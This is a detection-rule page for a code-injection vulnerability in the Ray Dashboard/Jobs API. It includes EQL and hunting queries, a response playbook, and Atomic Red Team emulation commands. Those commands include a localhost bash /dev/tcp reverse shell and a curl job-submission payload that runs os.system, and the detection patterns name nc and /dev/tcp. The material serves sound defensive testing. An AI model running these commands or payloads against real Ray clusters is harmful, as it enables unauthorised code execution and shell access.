Detect Ray Dashboard Code Injection via CSRF (CVE-2025-62593) in Elastic Security
Detects exploitation of CVE-2025-62593, a code injection vulnerability in the Ray-Project Ray distributed compute framework. The Ray Dashboard/Jobs API accepts job submissions that execute arbitrary code on cluster nodes; combined with cross-site request forgery (CWE-352) and unsafe code injection (CWE-94), an attacker can force job submissions that run attacker-controlled Python/shell code as the Ray worker or head-node user. This detection surfaces anomalous Ray Job Submission API calls, unexpected child processes spawned from Ray worker/raylet processes, and network callbacks originating from Ray nodes. CVE-2025-62593 is listed in the CISA KEV catalog.
MITRE ATT&CK
Elastic Detection Query
process where event.type == "start" and
process.parent.name in ("raylet", "gcs_server", "python", "python3") and
process.name in ("bash", "sh", "powershell.exe", "pwsh", "cmd.exe", "curl", "wget", "nc", "ncat", "python", "python3") and
process.command_line : ("*-c *", "*base64*", "*curl*", "*wget*", "*/dev/tcp/*", "*subprocess*", "*import os*", "*eval(*", "*exec(*") EQL rule matching child processes of Ray daemons that execute inline code or network callbacks.
Data Sources
Required Tables
False Positives & Tuning
- Ray tasks legitimately invoking curl/wget for data ingestion.
- Python-based training subprocesses.
- Operator-submitted Ray jobs.
Other platforms for CVE-2025-62593
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated Ray worker spawning reverse-shell child process
Expected signal: Process creation event with parent process named 'raylet' spawning bash with a /dev/tcp reverse-shell command line.
- Test 2Ray job code-injection simulation via inline Python
Expected signal: Python process with command line containing 'import os' and 'subprocess' launching curl.
- Test 3Anomalous Ray Jobs API submission (CSRF style)
Expected signal: HTTP POST to /api/jobs/ on port 8265 lacking Origin/Referer, followed by process execution on the node.
References (5)
- https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v
- https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2025-62593
Response Playbook
Triage
- Confirm the alerting host is a Ray cluster node (head or worker) and identify the Ray version to determine if it is within the vulnerable range per GHSA-q279-jhrf-cc6v.
- Review the Ray Dashboard / Jobs API access logs (default port 8265) around the alert time for unexpected job submissions, unknown source IPs, or requests lacking a valid Referer/Origin (CSRF indicator).
- Inspect the full command line of the child process spawned by the raylet/worker to determine whether it executes attacker-controlled code (reverse shells, base64 payloads, curl/wget to external hosts).
- Correlate the spawning user account and node identity to establish whether execution matches any authorized job submission.
Containment
- Isolate the affected Ray node(s) from the network to stop lateral movement and further job execution.
- Block external access to the Ray Dashboard/Jobs API (port 8265) at the network boundary and disable anonymous job submission until patched.
- Kill malicious child processes and revoke any credentials or tokens exposed on the compromised node.
Evidence Collection
- Capture the Ray Dashboard/Jobs API access logs, raylet logs, and job submission payloads (job driver scripts) for the incident window.
- Collect process creation telemetry, the malicious command lines, and any dropped files or scripts from the affected node.
- Preserve network connection logs showing outbound callbacks from Ray nodes to external IPs.
Escalation Criteria
- !Escalate to incident response if a reverse shell, data exfiltration, or lateral movement from the Ray node is confirmed.
- !Escalate if the Ray head node or nodes holding sensitive datasets/credentials are affected, or if the API was exposed to the internet.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Ray Dashboard/Jobs API access logs (port 8265) and raylet/gcs_server logs. - >
Submitted job driver scripts and job metadata under the Ray temp/session directory (/tmp/ray/session_*). - >
Process creation records showing raylet/worker parent with shell/interpreter children.
Tuning Guidance
Baseline the normal set of subprocesses spawned by your Ray workloads (many legitimately call curl/wget or Python subprocesses). Add known-good job driver hashes, internal registry IPs, and sanctioned data-tool binaries to an allowlist. Restrict the alert to nodes where the Ray Dashboard/Jobs API is network-reachable, and raise severity when the child process makes outbound connections to public IPs or the API request lacked a valid Origin/Referer header.
Hunting Queries
Hunts for outbound network connections from Ray processes to public IP addresses, indicating C2 or exfiltration from an injected job.
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("raylet","python","python3") | where RemoteIPType == "Public" | summarize count() by DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine index=edr (parent_process_name IN ("raylet","python","python3")) dest_ip=* | where NOT cidrmatch("10.0.0.0/8", dest_ip) AND NOT cidrmatch("172.16.0.0/12", dest_ip) | stats count by host, dest_ip, dest_port, process Atomic Red Team Tests
Emulates a Ray raylet/worker process launching a shell with an inline command, mimicking code injection via the Jobs API.
Command
cp /bin/bash /tmp/raylet && /tmp/raylet -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" 2>/dev/null; echo 'simulated raylet child spawn' Cleanup
rm -f /tmp/raylet Expected Telemetry
Process creation event with parent process named 'raylet' spawning bash with a /dev/tcp reverse-shell command line.
Expected Detection
KQL/EQL/CQL rules match on raylet parent + shell child with /dev/tcp/ in command line.
Simulates an injected Ray job that executes OS commands through Python subprocess, as would occur from a malicious job submission.
Command
python3 -c "import os,subprocess; subprocess.run(['curl','-s','http://127.0.0.1/injected'])" ; echo 'simulated injected job' Cleanup
echo 'no cleanup required' Expected Telemetry
Python process with command line containing 'import os' and 'subprocess' launching curl.
Expected Detection
Detection matches Python/subprocess + curl child process pattern.
Sends a job submission to the local Ray Jobs API without an Origin header, emulating a CSRF-driven code-injection request.
Command
curl -s -X POST http://127.0.0.1:8265/api/jobs/ -H 'Content-Type: application/json' -d '{"entrypoint":"python -c \"import os;os.system(id)\""}' ; echo 'simulated job submit' Cleanup
echo 'no cleanup required' Expected Telemetry
HTTP POST to /api/jobs/ on port 8265 lacking Origin/Referer, followed by process execution on the node.
Expected Detection
Web/proxy logs and subsequent process-spawn detections correlate the API submission with node code execution.